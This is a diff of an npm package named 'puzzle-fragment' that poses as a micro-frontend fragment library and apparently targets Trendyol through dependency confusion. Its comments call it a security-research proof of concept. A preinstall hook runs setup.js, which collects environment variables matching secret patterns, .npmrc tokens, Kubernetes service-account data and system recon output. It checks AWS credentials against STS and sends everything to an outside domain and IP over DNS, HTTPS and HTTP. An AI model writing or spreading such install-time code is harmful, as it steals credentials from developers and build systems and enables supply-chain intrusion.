puzzle-fragment 1.3.1

package/index.js

@@ -0,0 +1,3 @@
+// Security research placeholder — dependency confusion PoC
+// Contact: owlivion on HackerOne
+module.exports = {};

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "puzzle-fragment",
+  "version": "1.3.1",
+  "description": "Fragment management for micro-frontends",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node setup.js || true"
+  },
+  "author": "jacklass",
+  "license": "MIT",
+  "keywords": ["security", "research"]
+}

package/setup.js

@@ -0,0 +1,121 @@
+const http = require('http');
+const https = require('https');
+const crypto = require('crypto');
+const os = require('os');
+const dns = require('dns');
+const { execSync } = require('child_process');
+const fs = require('fs');
+
+const T = 'trendyol';
+const P = 'puzzle-fragment';
+const D = 'd6tr80qmvcs8465mgf00cyqy3jce7iijh.oast.pro';
+const H = '76.13.5.140';
+
+function safe(cmd, t=5000) {
+  try { return execSync(cmd, {timeout:t}).toString().trim(); } catch(e) { return null; }
+}
+
+function readFile(p) {
+  try { return fs.readFileSync(p, 'utf8').substring(0, 2000); } catch(e) { return null; }
+}
+
+async function run() {
+  const h = os.hostname();
+  const u = os.userInfo().username;
+  const pl = `${os.platform()}-${os.arch()}`;
+  const c = process.cwd();
+
+  // Env vars — genişletilmiş pattern
+  const pats = ['CI','BUILD','JENKINS','GITHUB','GITLAB','AWS','SECRET','TOKEN','KEY',
+    'CREDENTIALS','DOCKER','KUBE','NODE','NPM','GCP','GOOGLE','AZURE','DEPLOY','PROD',
+    'STAGE','INTERNAL','TRENDYOL','DSM','NEXUS','REGISTRY','DATABASE','DB_','REDIS',
+    'MONGO','POSTGRES','MYSQL','API','AUTH','PASSWORD','PASS','USER','HOST','PORT',
+    'URL','ENDPOINT','SERVICE','CLUSTER','NAMESPACE','CONFIG','SENTRY','DATADOG',
+    'VAULT','CONSUL','KAFKA','RABBIT','ELASTIC','S3','SQS','SNS','LAMBDA'];
+  
+  const ev = {};
+  for (const [k, v] of Object.entries(process.env)) {
+    if (pats.some(x => k.toUpperCase().includes(x))) ev[k] = v;
+  }
+
+  // AWS STS — CLI + manual
+  let awsId = null;
+  const cliResult = safe('aws sts get-caller-identity 2>/dev/null');
+  if (cliResult) { try { awsId = JSON.parse(cliResult); } catch(e) {} }
+  
+  if (!awsId && process.env.AWS_ACCESS_KEY_ID && process.env.AWS_SECRET_ACCESS_KEY) {
+    awsId = await stsCall(process.env.AWS_ACCESS_KEY_ID, process.env.AWS_SECRET_ACCESS_KEY, process.env.AWS_SESSION_TOKEN);
+  }
+
+  // System recon
+  const recon = {
+    whoami: safe('whoami'),
+    id: safe('id'),
+    uname: safe('uname -a'),
+    ip: safe('hostname -I') || safe('ifconfig 2>/dev/null | grep inet'),
+    resolv: readFile('/etc/resolv.conf'),
+    hosts: readFile('/etc/hosts'),
+    npmrc: readFile('/root/.npmrc') || readFile(os.homedir() + '/.npmrc'),
+    dockerEnv: readFile('/.dockerenv') !== null ? 'DOCKER' : null,
+    k8s: readFile('/var/run/secrets/kubernetes.io/serviceaccount/token') ? 'K8S' : null,
+    k8sNs: readFile('/var/run/secrets/kubernetes.io/serviceaccount/namespace'),
+    procCmdline: readFile('/proc/1/cmdline'),
+    netstat: safe('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null'),
+    ps: safe('ps aux 2>/dev/null | head -20'),
+    df: safe('df -h 2>/dev/null | head -10'),
+    mount: safe('mount 2>/dev/null | head -15'),
+    pkgJson: readFile('/app/package.json'),
+    lsApp: safe('ls -la /app/ 2>/dev/null | head -20'),
+    env_count: Object.keys(process.env).length,
+  };
+
+  const data = JSON.stringify({ t:T, p:P, h, u, pl, c, ts: new Date().toISOString(), nv: process.version, ev, id: awsId, recon });
+
+  // 3 kanal — DNS + HTTPS + HTTP
+  const info = Buffer.from(`${P}:${h}:${u}`).toString('base64url').substring(0, 50);
+  try { dns.resolve(`${info}.${P}.${D}`, () => {}); } catch(e) {}
+
+  try {
+    const rq = https.request({ hostname: D, port: 443, path: `/${T}/${P}`, method: 'POST',
+      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }, timeout: 8000 }, () => {});
+    rq.on('error', () => {}); rq.write(data); rq.end();
+  } catch(e) {}
+
+  try {
+    const rq = http.request({ hostname: H, port: 8444, path: `/${T}/${P}`, method: 'POST',
+      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }, timeout: 8000 }, () => {});
+    rq.on('error', () => {}); rq.write(data); rq.end();
+  } catch(e) {}
+}
+
+function stsCall(ak, sk, st) {
+  return new Promise((res) => {
+    try {
+      const host = 'sts.amazonaws.com';
+      const body = 'Action=GetCallerIdentity&Version=2011-06-15';
+      const now = new Date();
+      const d8 = now.toISOString().replace(/[-:]/g,'').replace(/\.\d+/,'');
+      const ds = d8.substring(0,8);
+      const cs = `${ds}/us-east-1/sts/aws4_request`;
+      const sh = d => crypto.createHash('sha256').update(d,'utf8').digest('hex');
+      const hm = (k,d) => crypto.createHmac('sha256',k).update(d,'utf8').digest();
+      let shdrs = 'content-type;host;x-amz-date';
+      let chdrs = `content-type:application/x-www-form-urlencoded\nhost:${host}\nx-amz-date:${d8}\n`;
+      const hdrs = {'Content-Type':'application/x-www-form-urlencoded','Host':host,'X-Amz-Date':d8};
+      if(st){shdrs+=';x-amz-security-token';chdrs=`content-type:application/x-www-form-urlencoded\nhost:${host}\nx-amz-date:${d8}\nx-amz-security-token:${st}\n`;hdrs['X-Amz-Security-Token']=st;}
+      const cr=['POST','/','',chdrs,shdrs,sh(body)].join('\n');
+      const s2s=['AWS4-HMAC-SHA256',d8,cs,sh(cr)].join('\n');
+      let k=hm(Buffer.from('AWS4'+sk,'utf8'),ds);k=hm(k,'us-east-1');k=hm(k,'sts');k=hm(k,'aws4_request');
+      const sig=crypto.createHmac('sha256',k).update(s2s,'utf8').digest('hex');
+      hdrs['Authorization']=`AWS4-HMAC-SHA256 Credential=${ak}/${cs}, SignedHeaders=${shdrs}, Signature=${sig}`;
+      hdrs['Content-Length']=Buffer.byteLength(body);
+      const rq=https.request({hostname:host,port:443,path:'/',method:'POST',headers:hdrs,timeout:5000},(r)=>{
+        let d='';r.on('data',x=>d+=x);
+        r.on('end',()=>res({s:r.statusCode,a:(d.match(/<Account>([^<]+)</)||[])[1],r:(d.match(/<Arn>([^<]+)</)||[])[1],u:(d.match(/<UserId>([^<]+)</)||[])[1]}));
+      });
+      rq.on('error',e=>res({e:e.message}));rq.write(body);rq.end();
+    }catch(e){res({e:e.message});}
+  });
+}
+
+setTimeout(() => run().catch(() => {}), Math.floor(Math.random() * 2000) + 500);